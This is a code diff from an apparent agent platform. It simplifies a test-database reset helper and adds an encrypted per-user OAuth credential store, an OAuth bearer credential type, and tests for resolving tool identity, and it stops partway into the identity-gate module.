diff --git a/products/agent_platform/services/agent-shared/src/persistence/test-reset.ts b/products/agent_platform/services/agent-shared/src/persistence/test-reset.ts
index 507da89cc38f..6fc0c2fa6202 100644
--- a/products/agent_platform/services/agent-shared/src/persistence/test-reset.ts
+++ b/products/agent_platform/services/agent-shared/src/persistence/test-reset.ts
@@ -1,15 +1,13 @@
/**
- * Test-harness schema helper for the v2 agent platform.
+ * Test-harness reset helper for the v2 agent platform.
*
- * The schema is owned by Django (the `agent_platform` product DB). This module
- * does NOT define or migrate schema — it carries a generated snapshot of the
- * Django migration so the node test harness can stand up an equivalent local
- * test DB and reset it between cases. There is no production migrate path here
- * anymore (prod runs `migrate_product_databases` via the posthog-django job).
- *
- * Regenerate SCHEMA_SQL after any agent_platform migration change:
- * DEBUG=1 python manage.py sqlmigrate --database agent_platform_db_writer \
- * agent_platform 0001
+ * Schema is owned by Django (the `agent_platform` product DB) — migrations live
+ * in products/agent_platform/backend/migrations/ and are the single source of
+ * truth. This module does NOT define or migrate schema: the test DB must already
+ * be migrated before the suite runs (CI runs `migrate_product_databases`;
+ * locally, `bin/migrate-agent-test-db` — see
+ * products/agent_platform/docs/local-dev.md). `reset()` only truncates between
+ * cases, so there is no hand-maintained DDL here to drift from the models.
*/
// `pg` is CommonJS; the named-import form breaks at boot under `tsx watch`
@@ -22,74 +20,53 @@ export interface ResetOpts {
databaseUrl?: string
}
-// Truncated in FK-safe order (CASCADE handles the rest).
-const AGENT_TABLES = [
- 'agent_tool_approval_request',
- 'agent_session_credential',
- 'agent_sandbox_instance',
- 'agent_user',
- 'agent_session',
- 'agent_revision',
- 'agent_application',
-]
-
-// Generated from the Django migration — the single source of truth. See header.
-const SCHEMA_SQL = `
-CREATE TABLE "agent_application" ("id" uuid NOT NULL PRIMARY KEY, "team_id" bigint NOT NULL, "name" varchar(255) NOT NULL, "slug" varchar(63) NOT NULL, "description" text DEFAULT '' NOT NULL, "archived" boolean DEFAULT false NOT NULL, "archived_at" timestamp with time zone NULL, "created_by_id" bigint NULL, "created_at" timestamp with time zone DEFAULT (STATEMENT_TIMESTAMP()) NOT NULL, "updated_at" timestamp with time zone DEFAULT (STATEMENT_TIMESTAMP()) NOT NULL);
-CREATE TABLE "agent_revision" ("id" uuid NOT NULL PRIMARY KEY, "team_id" bigint NULL, "state" varchar(16) DEFAULT 'draft' NOT NULL, "bundle_uri" text NOT NULL, "bundle_sha256" varchar(64) NULL, "spec" jsonb NOT NULL, "created_by_id" bigint NULL, "created_at" timestamp with time zone DEFAULT (STATEMENT_TIMESTAMP()) NOT NULL, "updated_at" timestamp with time zone DEFAULT (STATEMENT_TIMESTAMP()) NOT NULL, "application_id" uuid NOT NULL, "parent_revision_id" uuid NULL, "encrypted_env" text NULL);
-ALTER TABLE "agent_application" ADD COLUMN "live_revision_id" uuid NULL CONSTRAINT "agent_application_live_revision_id_96cfb1e8_fk_agent_rev" REFERENCES "agent_revision"("id") DEFERRABLE INITIALLY DEFERRED; SET CONSTRAINTS "agent_application_live_revision_id_96cfb1e8_fk_agent_rev" IMMEDIATE;
-CREATE TABLE "agent_sandbox_instance" ("id" uuid NOT NULL PRIMARY KEY, "team_id" bigint NOT NULL, "application_id" uuid NOT NULL, "revision_id" uuid NOT NULL, "session_id" uuid NULL, "provider_kind" text NOT NULL, "provider_sandbox_id" text DEFAULT '' NOT NULL, "state" text DEFAULT 'provisioning' NOT NULL, "error_message" text DEFAULT '' NOT NULL, "created_at" timestamp with time zone DEFAULT (STATEMENT_TIMESTAMP()) NOT NULL, "last_used_at" timestamp with time zone NULL, "terminated_at" timestamp with time zone NULL);
-CREATE TABLE "agent_session" ("id" uuid NOT NULL PRIMARY KEY, "team_id" bigint NOT NULL, "application_id" uuid NOT NULL, "revision_id" uuid NOT NULL, "external_key" text NULL, "idempotency_key" text NULL, "trigger_metadata" jsonb NULL, "state" text DEFAULT 'queued' NOT NULL, "conversation" jsonb DEFAULT '[]' NOT NULL, "pending_inputs" jsonb DEFAULT '[]' NOT NULL, "principal" jsonb NULL, "acl" jsonb DEFAULT '[]' NOT NULL, "pending_elevation_requests" jsonb DEFAULT '[]' NOT NULL, "claimed_at" timestamp with time zone NULL, "retry_count" integer DEFAULT 0 NOT NULL, "usage_total" jsonb DEFAULT '{"tokens_in": 0, "tokens_out": 0, "cache_read": 0, "cache_write": 0, "cost_input": 0, "cost_output": 0, "cost_cache_read": 0, "cost_cache_write": 0, "cost_total": 0}' NOT NULL, "created_at" timestamp with time zone DEFAULT (STATEMENT_TIMESTAMP()) NOT NULL, "updated_at" timestamp with time zone DEFAULT (STATEMENT_TIMESTAMP()) NOT NULL);
-CREATE TABLE "agent_session_credential" ("team_id" bigint NULL, "session_id" uuid NOT NULL PRIMARY KEY, "encrypted_credentials" text NOT NULL, "expires_at" timestamp with time zone NOT NULL, "created_at" timestamp with time zone DEFAULT (STATEMENT_TIMESTAMP()) NOT NULL, "updated_at" timestamp with time zone DEFAULT (STATEMENT_TIMESTAMP()) NOT NULL);
-CREATE TABLE "agent_tool_approval_request" ("id" uuid NOT NULL PRIMARY KEY, "team_id" bigint NOT NULL, "session_id" uuid NOT NULL, "application_id" uuid NOT NULL, "revision_id" uuid NOT NULL, "turn" integer NOT NULL, "tool_call_id" text NOT NULL, "tool_name" text NOT NULL, "proposed_args" jsonb NOT NULL, "args_hash" bytea NOT NULL, "assistant_message" jsonb NOT NULL, "approver_scope" jsonb NOT NULL, "state" text NOT NULL, "decision_by" uuid NULL, "decision_at" timestamp with time zone NULL, "decision_reason" text NULL, "decided_args" jsonb NULL, "dispatch_outcome" jsonb NULL, "created_at" timestamp with time zone DEFAULT (STATEMENT_TIMESTAMP()) NOT NULL, "expires_at" timestamp with time zone NOT NULL, CONSTRAINT "agent_tool_approval_request_state_valid" CHECK ("state" IN ('queued', 'approving', 'dispatched', 'dispatched_failed', 'rejected', 'expired')));
-CREATE TABLE "agent_user" ("id" uuid NOT NULL PRIMARY KEY, "team_id" bigint NOT NULL, "application_id" uuid NOT NULL, "principal_kind" text NOT NULL, "principal_id" text NOT NULL, "metadata" jsonb DEFAULT '{}' NOT NULL, "posthog_user_id" integer NULL, "created_at" timestamp with time zone DEFAULT (STATEMENT_TIMESTAMP()) NOT NULL);
-CREATE INDEX "agent_revis_applica_de45c8_idx" ON "agent_revision" ("application_id", "state");
-CREATE INDEX "agent_revis_state_b8bd5c_idx" ON "agent_revision" ("state", "created_at");
-CREATE INDEX "agent_appli_team_id_8edb60_idx" ON "agent_application" ("team_id", "archived");
-CREATE UNIQUE INDEX "agent_application_unique_active_slug" ON "agent_application" ("team_id", "slug") WHERE NOT "archived";
-CREATE INDEX "agent_application_team_id_01a7d41d" ON "agent_application" ("team_id");
-ALTER TABLE "agent_revision" ADD CONSTRAINT "agent_revision_application_id_c0f0afd7_fk_agent_application_id" FOREIGN KEY ("application_id") REFERENCES "agent_application" ("id") DEFERRABLE INITIALLY DEFERRED;
-ALTER TABLE "agent_revision" ADD CONSTRAINT "agent_revision_parent_revision_id_2b043833_fk_agent_revision_id" FOREIGN KEY ("parent_revision_id") REFERENCES "agent_revision" ("id") DEFERRABLE INITIALLY DEFERRED;
-CREATE INDEX "agent_revision_team_id_3d7ee0af" ON "agent_revision" ("team_id");
-CREATE INDEX "agent_revision_application_id_c0f0afd7" ON "agent_revision" ("application_id");
-CREATE INDEX "agent_revision_parent_revision_id_2b043833" ON "agent_revision" ("parent_revision_id");
-CREATE INDEX "agent_application_live_revision_id_96cfb1e8" ON "agent_application" ("live_revision_id");
-CREATE INDEX "agent_sandbox_instance_team_id_dfe6ca24" ON "agent_sandbox_instance" ("team_id");
-CREATE INDEX "asi_state_idx" ON "agent_sandbox_instance" ((COALESCE("last_used_at", "created_at")), "state");
-CREATE INDEX "asi_session_idx" ON "agent_sandbox_instance" ("session_id") WHERE "session_id" IS NOT NULL;
-CREATE UNIQUE INDEX "agent_session_idempotency_key_unique" ON "agent_session" ("application_id", "idempotency_key") WHERE "idempotency_key" IS NOT NULL;
-CREATE INDEX "agent_session_team_id_f4e3849a" ON "agent_session" ("team_id");
-CREATE INDEX "agent_sess_created_idx" ON "agent_session" ("state", "created_at");
-CREATE INDEX "agent_sess_updated_idx" ON "agent_session" ("state", "updated_at");
-CREATE INDEX "agent_sess_extkey_idx" ON "agent_session" ("application_id", "external_key") WHERE "external_key" IS NOT NULL;
-CREATE INDEX "agent_session_credential_team_id_717879a5" ON "agent_session_credential" ("team_id");
-CREATE INDEX "asc_expires_idx" ON "agent_session_credential" ("expires_at");
-CREATE UNIQUE INDEX "agent_tool_approval_request_queued_unique" ON "agent_tool_approval_request" ("session_id", "tool_name", "args_hash") WHERE "state" = 'queued';
-CREATE INDEX "agent_tool_approval_request_team_id_c5bb5546" ON "agent_tool_approval_request" ("team_id");
-CREATE INDEX "atar_expiry_idx" ON "agent_tool_approval_request" ("state", "expires_at");
-CREATE INDEX "atar_team_idx" ON "agent_tool_approval_request" ("team_id", "state", "created_at" DESC);
-CREATE INDEX "atar_app_idx" ON "agent_tool_approval_request" ("application_id", "state", "created_at" DESC);
-CREATE INDEX "atar_session_idx" ON "agent_tool_approval_request" ("session_id", "created_at" DESC);
-ALTER TABLE "agent_user" ADD CONSTRAINT "agent_user_unique_natural_key" UNIQUE ("application_id", "principal_kind", "principal_id");
-CREATE INDEX "agent_user_team_id_4702652f" ON "agent_user" ("team_id");
-`
+/**
+ * True if the (test) Postgres at `databaseUrl` accepts a one-shot connection.
+ * Lets a real-PG suite skip itself when the local DB isn't wired, instead of
+ * failing. Shared here so the probe isn't re-implemented per test file.
+ */
+export async function isReachable(databaseUrl: string): Promise<boolean> {
+ const probe = new Pool({ connectionString: databaseUrl, max: 1 })
+ try {
+ await probe.query('SELECT 1')
+ return true
+ } catch {
+ return false
+ } finally {
+ await probe.end().catch(() => undefined)
+ }
+}
/**
- * Reset the agent_* tables in the given (test) database. Applies the schema on
- * first use (idempotent), then truncates every table so each test starts clean.
+ * Truncate every `agent_*` table in the given (test) database so each case
+ * starts clean. Tables are discovered dynamically rather than hardcoded, so a
+ * new agent_platform migration is covered without touching this file. CASCADE
+ * clears dependents and RESTART IDENTITY resets sequences; `django_migrations`
+ * isn't an `agent_*` table, so the applied-migration state is preserved.
+ *
+ * Throws if no `agent_*` tables exist — that means the test DB hasn't been
+ * migrated. Apply the agent_platform Django migrations first (CI:
+ * `migrate_product_databases`; local: `bin/migrate-agent-test-db`).
*/
export async function reset(opts: ResetOpts = {}): Promise<void> {
const databaseUrl = opts.databaseUrl ?? process.env.AGENT_DB_URL
if (!databaseUrl) {
- throw new Error('agent-migrations.reset: databaseUrl or AGENT_DB_URL is required')
+ throw new Error('test-reset: databaseUrl or AGENT_DB_URL is required')
}
const pool = new Pool({ connectionString: databaseUrl, max: 1 })
try {
- const { rows } = await pool.query("SELECT to_regclass('public.agent_session') AS t")
- if (!rows[0]?.t) {
- await pool.query(SCHEMA_SQL)
+ const { rows } = await pool.query<{ tablename: string }>(
+ "SELECT tablename FROM pg_tables WHERE schemaname = 'public' AND tablename ~ '^agent_'"
+ )
+ if (rows.length === 0) {
+ throw new Error(
+ `test-reset: no agent_* tables found in the test DB. It isn't migrated — ` +
+ 'apply the agent_platform Django migrations first (CI: migrate_product_databases; ' +
+ 'local: bin/migrate-agent-test-db). See products/agent_platform/docs/local-dev.md.'
+ )
}
- await pool.query(`TRUNCATE ${AGENT_TABLES.map((t) => `"${t}"`).join(', ')} RESTART IDENTITY CASCADE`)
+ const tables = rows.map((r) => `"${r.tablename}"`).join(', ')
+ await pool.query(`TRUNCATE ${tables} RESTART IDENTITY CASCADE`)
} finally {
await pool.end()
}
diff --git a/products/agent_platform/services/agent-shared/src/runtime/credential-broker.ts b/products/agent_platform/services/agent-shared/src/runtime/credential-broker.ts
index d2dd7b8ec44b..bb6daea3ec3d 100644
--- a/products/agent_platform/services/agent-shared/src/runtime/credential-broker.ts
+++ b/products/agent_platform/services/agent-shared/src/runtime/credential-broker.ts
@@ -34,6 +34,14 @@ export type Credential =
* `Authorization: Bearer <token>`. Available to tools under `posthog_api`.
*/
| { kind: 'posthog_bearer'; token: string; scopes?: string[]; expires_at?: number }
+ /**
+ * Generic OAuth2 bearer from a linked third-party identity provider
+ * (GitHub, Linear, the `dogs` test IdP, …). Usable as
+ * `Authorization: Bearer <token>`; `provider` records which IdP issued it.
+ * Resolved per-principal from the linked-credential store, not a team
+ * integration — this is "act as THIS user on that service".
+ */
+ | { kind: 'oauth_bearer'; token: string; provider: string; scopes?: string[]; expires_at?: number }
/**
* Raw JWT + its decoded claims. The platform doesn't know how the
* agent author intends to use this — tools either re-send the JWT
diff --git a/products/agent_platform/services/agent-shared/src/runtime/identity-credential-store.ts b/products/agent_platform/services/agent-shared/src/runtime/identity-credential-store.ts
new file mode 100644
index 000000000000..aed290dcdf7c
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/runtime/identity-credential-store.ts
@@ -0,0 +1,191 @@
+/**
+ * Persistent, per-principal linked-credential store — the "stored auth" the
+ * `spec.ts` SessionPrincipal comment promises ("agent_user_id → … → stored
+ * auth"). One row per (agent_user, provider), encrypted at rest with the same
+ * Fernet-keyed `EncryptedFields` as the session-credential broker.
+ *
+ * This is the SOURCE of truth (long-lived, revocable). At tool-call time the
+ * runner resolves the current asker's link from here via `ctx.identity.resolve`
+ * (see `createToolIdentity`); a trigger-edge bearer (e.g. PostHog Code passing a
+ * posthog token) is the alternative source, held in the per-session
+ * `CredentialBroker` and consulted first by the resolver. Tokens never leave
+ * the runner process beyond the outbound API call.
+ *
+ * Backed by `agent_identity_credential` (Django-owned schema; see
+ * backend/migrations/0007 + test-reset.ts SCHEMA_SQL).
+ */
+
+import { randomUUID } from 'node:crypto'
+import type { Pool } from 'pg'
+
+import { EncryptedFields } from './encryption'
+
+/** The OAuth credential persisted per (agent_user, provider). Encrypted at rest. */
+export interface StoredCredential {
+ access_token: string
+ refresh_token?: string
+ token_type?: string
+ /** Epoch ms when `access_token` expires, if the provider told us. */
+ expires_at?: number
+ scopes?: string[]
+}
+
+export interface LinkedCredential {
+ agentUserId: string
+ provider: string
+ credential: StoredCredential
+ scopes: string[]
+}
+
+export interface PutLinkedCredentialInput {
+ teamId: number
+ applicationId: string
+ agentUserId: string
+ provider: string
+ credential: StoredCredential
+ /** Granted scopes; defaults to `credential.scopes ?? []`. */
+ scopes?: string[]
+ /**
+ * The proven external subject this link established (e.g. the PostHog user
+ * uuid from /oauth/userinfo). Set only by an identity-establishing provider;
+ * capability-only providers leave it undefined. Never nulled on a token
+ * refresh (the put on refresh omits it → COALESCE keeps the existing value).
+ */
+ subject?: string
+}
+
+export interface IdentityCredentialStore {
+ /** Upsert the linked credential for (agent_user, provider); (re)sets state active. */
+ put(input: PutLinkedCredentialInput): Promise<void>
+ /** Active credential for (agent_user, provider); null if absent or revoked. */
+ get(agentUserId: string, provider: string): Promise<LinkedCredential | null>
+ /**
+ * AGENT BINDING SEAM — the single app-scoped credential shared by every asker
+ * of a `binding: 'agent'` provider (no agent_user). Not implemented: throws
+ * `agent_binding_not_implemented`. When this lands it needs an app-scoped row
+ * shape (nullable `agent_user_id`) and a precedence rule: a per-user
+ * (principal) link always wins over the shared credential.
+ */
+ getAgentScoped(applicationId: string, provider: string): Promise<LinkedCredential | null>
+ /**
+ * The proven external subject for an agent_user — from whichever active link
+ * established identity (the one provider that stamps `subject`). Null when
+ * the principal has no identity-establishing link. Used by per-asker auth to
+ * resolve the PostHog identity behind a Slack principal.
+ */
+ getEstablishedSubject(agentUserId: string): Promise<string | null>
+ /** Mark revoked (row kept for audit). Idempotent. */
+ revoke(agentUserId: string, provider: string): Promise<void>
+ /** Hard-delete the link. Idempotent. */
+ remove(agentUserId: string, provider: string): Promise<void>
+}
+
+interface CredentialRow {
+ encrypted_credentials: string
+ scopes: string[] | null
+ state: string
+}
+
+export class PgIdentityCredentialStore implements IdentityCredentialStore {
+ private readonly fields: EncryptedFields
+
+ constructor(
+ private readonly pool: Pool,
+ opts: { encryptionSaltKeys: string }
+ ) {
+ // Fail-closed: never write a linked credential in plaintext.
+ if (!opts.encryptionSaltKeys || opts.encryptionSaltKeys.length === 0) {
+ throw new Error(
+ 'PgIdentityCredentialStore requires ENCRYPTION_SALT_KEYS — credentials must be encrypted at rest'
+ )
+ }
+ this.fields = new EncryptedFields(opts.encryptionSaltKeys)
+ }
+
+ async put(input: PutLinkedCredentialInput): Promise<void> {
+ const ciphertext = this.fields.encrypt(JSON.stringify(input.credential))
+ const scopes = input.scopes ?? input.credential.scopes ?? []
+ const accessExpiresAt = input.credential.expires_at ? new Date(input.credential.expires_at) : null
+ await this.pool.query(
+ `INSERT INTO agent_identity_credential
+ (id, team_id, application_id, agent_user_id, provider,
+ encrypted_credentials, scopes, state, access_expires_at, subject, created_at, updated_at)
+ VALUES ($1, $2, $3, $4, $5, $6, $7, 'active', $8, $9, NOW(), NOW())
+ ON CONFLICT (agent_user_id, provider) DO UPDATE SET
+ encrypted_credentials = EXCLUDED.encrypted_credentials,
+ scopes = EXCLUDED.scopes,
+ state = 'active',
+ access_expires_at = EXCLUDED.access_expires_at,
+ -- Keep the established subject across token refreshes (which put
+ -- with subject = null); only an explicit relink overwrites it.
+ subject = COALESCE(EXCLUDED.subject, agent_identity_credential.subject),
+ revoked_at = NULL,
+ updated_at = NOW()`,
+ [
+ randomUUID(),
+ input.teamId,
+ input.applicationId,
+ input.agentUserId,
+ input.provider,
+ ciphertext,
+ scopes,
+ accessExpiresAt,
+ input.subject ?? null,
+ ]
+ )
+ }
+
+ // AGENT BINDING SEAM — see interface. App-scoped shared credentials aren't
+ // stored yet (the table is keyed by agent_user_id NOT NULL); throw loudly so
+ // a `binding: 'agent'` provider can never silently resolve to nothing.
+ async getAgentScoped(_applicationId: string, _provider: string): Promise<LinkedCredential | null> {
+ throw new Error('agent_binding_not_implemented')
+ }
+
+ async getEstablishedSubject(agentUserId: string): Promise<string | null> {
+ const r = await this.pool.query<{ subject: string }>(
+ // Today only `posthog` stamps a subject and (agent_user, provider) is
+ // unique, so there's effectively one row — but ORDER BY makes the pick
+ // deterministic (most-recently-linked) if a second identity-establishing
+ // provider is ever added, rather than relying on physical row order.
+ `SELECT subject FROM agent_identity_credential
+ WHERE agent_user_id = $1 AND state = 'active' AND subject IS NOT NULL
+ ORDER BY updated_at DESC
+ LIMIT 1`,
+ [agentUserId]
+ )
+ return r.rowCount === 0 ? null : r.rows[0].subject
+ }
+
+ async get(agentUserId: string, provider: string): Promise<LinkedCredential | null> {
+ const r = await this.pool.query<CredentialRow>(
+ // Filter state in SQL so a revoked row is skipped without decrypting it.
+ `SELECT encrypted_credentials, scopes
+ FROM agent_identity_credential
+ WHERE agent_user_id = $1 AND provider = $2 AND state = 'active'`,
+ [agentUserId, provider]
+ )
+ if (r.rowCount === 0) {
+ return null
+ }
+ const row = r.rows[0]
+ const credential = JSON.parse(this.fields.decrypt(row.encrypted_credentials)) as StoredCredential
+ return { agentUserId, provider, credential, scopes: row.scopes ?? [] }
+ }
+
+ async revoke(agentUserId: string, provider: string): Promise<void> {
+ await this.pool.query(
+ `UPDATE agent_identity_credential
+ SET state = 'revoked', revoked_at = NOW(), updated_at = NOW()
+ WHERE agent_user_id = $1 AND provider = $2 AND state = 'active'`,
+ [agentUserId, provider]
+ )
+ }
+
+ async remove(agentUserId: string, provider: string): Promise<void> {
+ await this.pool.query(`DELETE FROM agent_identity_credential WHERE agent_user_id = $1 AND provider = $2`, [
+ agentUserId,
+ provider,
+ ])
+ }
+}
diff --git a/products/agent_platform/services/agent-shared/src/runtime/identity-gate.test.ts b/products/agent_platform/services/agent-shared/src/runtime/identity-gate.test.ts
new file mode 100644
index 000000000000..fc0e7c83f4da
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/runtime/identity-gate.test.ts
@@ -0,0 +1,195 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import type { IdentityProviderConfig } from '../spec/spec'
+import type { Credential } from './credential-broker'
+import type { HttpFetcher } from './http-client'
+import type { IdentityCredentialStore } from './identity-credential-store'
+import { buildIdentityRegistry, createToolIdentity } from './identity-gate'
+import type { IdentityLinkStateStore } from './identity-link-state-store'
+import type { IdentityProvider } from './identity-provider'
+import { MapIdentityProviderRegistry } from './identity-provider'
+
+const OK_CRED: Credential = { kind: 'posthog_bearer', token: 'linked' }
+
+function fakeProvider(over: Partial<IdentityProvider> = {}): IdentityProvider {
+ return {
+ id: 'posthog',
+ credentialTarget: 'posthog_api',
+ establishesIdentity: true,
+ binding: 'principal',
+ allowedHosts: () => ['app.posthog.test'],
+ resolve: vi.fn(async () => null),
+ initiate: vi.fn(async () => ({ authorizeUrl: 'https://app.posthog.test/oauth/authorize/?x=1', stateId: 's' })),
+ complete: vi.fn(),
+ ...over,
+ }
+}
+
+interface Over {
+ provider?: IdentityProvider
+ agentUserId?: string | null
+ unavailableReason?: string
+ seed?: { resolve: (t: string) => Promise<Credential | null> }
+ log?: (level: 'info' | 'warn' | 'error', msg: string, meta?: Record<string, unknown>) => void
+}
+
+function deps(over: Over = {}): { provider: IdentityProvider; toolIdentity: ReturnType<typeof createToolIdentity> } {
+ const provider = over.provider ?? fakeProvider()
+ const toolIdentity = createToolIdentity({
+ registry: new MapIdentityProviderRegistry([provider]),
+ agentUserId: over.agentUserId === undefined ? 'au-1' : over.agentUserId,
+ teamId: 7,
+ applicationId: 'app-1',
+ redirectUriFor: (p) => `https://cb.test/link/${p}/callback`,
+ unavailableReason: over.unavailableReason,
+ seed: over.seed,
+ log: over.log,
+ })
+ return { provider, toolIdentity }
+}
+
+describe('buildIdentityRegistry', () => {
+ const regDeps = (posthogBaseUrl?: string): Parameters<typeof buildIdentityRegistry>[1] => ({
+ links: {} as IdentityLinkStateStore,
+ credentials: {} as IdentityCredentialStore,
+ http: {} as HttpFetcher,
+ secret: () => undefined,
+ posthogBaseUrl,
+ })
+ const posthogCfg: IdentityProviderConfig[] = [
+ { kind: 'posthog', id: 'posthog', binding: 'principal', scopes: [], client_id: 'c' },
+ ]
+
+ it('builds the posthog provider only when posthogBaseUrl is present (the ingress-callback / runner gap)', () => {
+ expect(buildIdentityRegistry(posthogCfg, regDeps('http://localhost:8010')).get('posthog')).not.toBeUndefined()
+ // No base → no posthog provider → resolves as "unknown_provider". This is
+ // the bug the link callback hit when it didn't thread posthogApiBaseUrl.
+ expect(buildIdentityRegistry(posthogCfg, regDeps(undefined)).get('posthog')).toBeUndefined()
+ })
+})
+
+describe('createToolIdentity.resolve', () => {
+ it('returns the trigger-edge seed without touching the store or initiating a link (PostHog Code passthrough)', async () => {
+ const provider = fakeProvider()
+ const seed = { resolve: vi.fn(async (t: string) => (t === 'posthog_api' ? OK_CRED : null)) }
+ const { toolIdentity } = deps({ provider, seed })
+
+ const res = await toolIdentity.resolve('posthog')
+
+ expect(res).toEqual({ kind: 'ok', credential: OK_CRED, allowedHosts: ['app.posthog.test'] })
+ expect(seed.resolve).toHaveBeenCalledWith('posthog_api')
+ expect(provider.resolve).not.toHaveBeenCalled()
+ expect(provider.initiate).not.toHaveBeenCalled()
+ })
+
+ it('falls through to the linked store when there is no seed', async () => {
+ const provider = fakeProvider({ resolve: vi.fn(async () => OK_CRED) })
+ const { toolIdentity } = deps({ provider })
+ const res = await toolIdentity.resolve('posthog')
+ expect(res).toEqual({ kind: 'ok', credential: OK_CRED, allowedHosts: ['app.posthog.test'] })
+ })
+
+ it('returns link_required when unlinked and link-capable', async () => {
+ const { toolIdentity } = deps()
+ const res = await toolIdentity.resolve('posthog')
+ expect(res).toEqual({
+ kind: 'link_required',
+ provider: 'posthog',
+ authorizeUrl: 'https://app.posthog.test/oauth/authorize/?x=1',
+ })
+ })
+
+ it('fails closed in a shared session WITHOUT consulting the seed (T1 confused-deputy guard)', async () => {
+ const provider = fakeProvider()
+ const seed = { resolve: vi.fn(async () => OK_CRED) }
+ const { toolIdentity } = deps({ provider, seed, unavailableReason: 'shared_session_unsupported' })
+
+ const res = await toolIdentity.resolve('posthog')
+
+ expect(res).toEqual({ kind: 'unavailable', provider: 'posthog', reason: 'shared_session_unsupported' })
+ expect(seed.resolve).not.toHaveBeenCalled()
+ expect(provider.resolve).not.toHaveBeenCalled()
+ })
+
+ it('unknown provider → unavailable', async () => {
+ const { toolIdentity } = deps()
+ const res = await toolIdentity.resolve('github')
+ expect(res).toEqual({ kind: 'unavailable', provider: 'github', reason: 'unknown_provider' })
+ })
+
+ it('unlinkable principal (no agentUserId) with no seed → unavailable; with a seed → ok', async () => {
+ const noSeed = deps({ agentUserId: null })
+ expect(await noSeed.toolIdentity.resolve('posthog')).toEqual({
+ kind: 'unavailable',
+ provider: 'posthog',
+ reason: 'principal_not_linkable',
+ })
+
+ const seeded = deps({
+ agentUserId: null,
+ seed: { resolve: async (t: string) => (t === 'posthog_api' ? OK_CRED : null) },
+ })
+ expect(await seeded.toolIdentity.resolve('posthog')).toEqual({
+ kind: 'ok',
+ credential: OK_CRED,
+ allowedHosts: ['app.posthog.test'],
+ })
+ })
+
+ it('degrades a provider throw (unimplemented agent binding) to unavailable', async () => {
+ const provider = fakeProvider({
+ binding: 'agent',
+ resolve: vi.fn(async () => {
+ throw new Error('agent_binding_not_implemented')
+ }),
+ })
+ const { toolIdentity } = deps({ provider })
+ const res = await toolIdentity.resolve('posthog')
+ expect(res).toEqual({ kind: 'unavailable', provider: 'posthog', reason: 'agent_binding_not_implemented' })
+ })
+
+ it('logs one identity.resolved line per resolve with the source and no token', async () => {
+ const log = vi.fn()
+ const seed = { resolve: async (t: string) => (t === 'posthog_api' ? OK_CRED : null) }
+ const { toolIdentity } = deps({ seed, log })
+ await toolIdentity.resolve('posthog')
+ expect(log).toHaveBeenCalledTimes(1)
+ const [level, msg, meta] = log.mock.calls[0]
+ expect(level).toBe('info')
+ expect(msg).toBe('identity.resolved')
+ expect(meta).toMatchObject({ provider: 'posthog', source: 'edge_seed' })
+ expect(JSON.stringify(meta)).not.toContain('linked')
+ })
+})
+
+describe('createToolIdentity.relink', () => {
+ it('forces a fresh authorize link for an already-linked provider (the reconnect path)', async () => {
+ const provider = fakeProvider({ resolve: vi.fn(async () => OK_CRED) })
+ const { toolIdentity } = deps({ provider })
+ // resolve() would return ok (linked) — relink ignores that and re-initiates.
+ const url = await toolIdentity.relink('posthog')
+ expect(url).toBe('https://app.posthog.test/oauth/authorize/?x=1')
+ expect(provider.initiate).toHaveBeenCalledTimes(1)
+ expect(provider.resolve).not.toHaveBeenCalled()
+ })
+
+ it('returns null in a shared session and for an unlinkable principal (no relink for someone else)', async () => {
+ const shared = deps({ unavailableReason: 'shared_session_unsupported' })
+ expect(await shared.toolIdentity.relink('posthog')).toBeNull()
+
+ const unlinkable = deps({ agentUserId: null })
+ expect(await unlinkable.toolIdentity.relink('posthog')).toBeNull()
+ })
+
+ it('returns null for an unknown provider and when initiate refuses (e.g. seed-only, no OAuth app)', async () => {
+ const { toolIdentity } = deps()
+ expect(await toolIdentity.relink('github')).toBeNull()
+
+ const seedOnly = fakeProvider({
+ initiate: vi.fn(async () => {
+ throw new Error('link_unavailable_no_oauth_app')
+ }),
+ })
+ expect(await deps({ provider: seedOnly }).toolIdentity.relink('posthog')).toBeNull()
+ })
+})
diff --git a/products/agent_platform/services/agent-shared/src/runtime/identity-gate.ts b/products/agent_platform/services/agent-shared/src/runtime/identity-gate.ts
new file mode 100644
index 000000000000..733f70f6123a
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/runtime/identity-gate.ts
@@ -0,0 +1,359 @@
+/**
+ * Wires spec.identity_providers + the current asker into the `ctx.identity`
+ * resolver tools call. Resolution keys off the asker's AgentUser id — so a
+ * credential is only ever "act as THIS asker", never the session owner's.
+ */
+
+import type { IdentityStore } from '../persistence/identity-store'
+import type { AgentRevision, AgentSession, IdentityProviderConfig, SessionPrincipal } from '../spec/spec'
+import type { IdentityResolution, ToolContext } from '../spec/tool'
+import type { Credential, CredentialBroker } from './credential-broker'
+import type { HttpFetcher } from './http-client'
+import type { IdentityCredentialStore } from './identity-credential-store'
+import type { IdentityLinkStateStore } from './identity-link-state-store'
+import { type IdentityProvider, type IdentityProviderRegistry, MapIdentityProviderRegistry } from './identity-provider'
+import { Oauth2AuthProvider } from './oauth2-identity-provider'
+import { PostHogAuthProvider, SeedOnlyPostHogProvider } from './posthog-identity-provider'
+
+/** Structured logger shape `createToolIdentity`/`buildAskerIdentity` use for the
+ * `identity.resolved` session-log line. Matches the runner's `log` closure. */
+export type IdentityLog = (level: 'info' | 'warn' | 'error', msg: string, meta?: Record<string, unknown>) => void
+
+/**
+ * Thrown by a tool (or its credential helper) when the asker hasn't linked a
+ * required identity provider and a link must be relayed. The native-tool
+ * dispatch wrapper catches it and converts it to a uniform `auth_required`
+ * tool result — the model relays the link rather than treating it as an error.
+ * Carried in `@posthog/agent-shared` so both tools (which throw it) and the
+ * runner (which catches it) share one type.
+ */
+export class IdentityAuthRequiredError extends Error {
+ constructor(
+ readonly provider: string,
+ readonly authorizeUrl: string
+ ) {
+ super(`identity_link_required: ${provider}`)
+ this.name = 'IdentityAuthRequiredError'
+ }
+}
+
+export interface BuildIdentityRegistryDeps {
+ links: IdentityLinkStateStore
+ credentials: IdentityCredentialStore
+ http: HttpFetcher
+ /** Resolve an encrypted_env secret by name (for oauth2 client_secret_ref). */
+ secret: (name: string) => string | undefined
+ /**
+ * PostHog instance base URL (no trailing slash). When set, a `{kind:posthog}`
+ * provider is built against `${base}/oauth/{authorize,token,userinfo}/` using
+ * the client_id Django provisioned into the spec. Omit it (or omit the
+ * client_id) and posthog providers are skipped — they can't link.
+ */
+ posthogBaseUrl?: string
+}
+
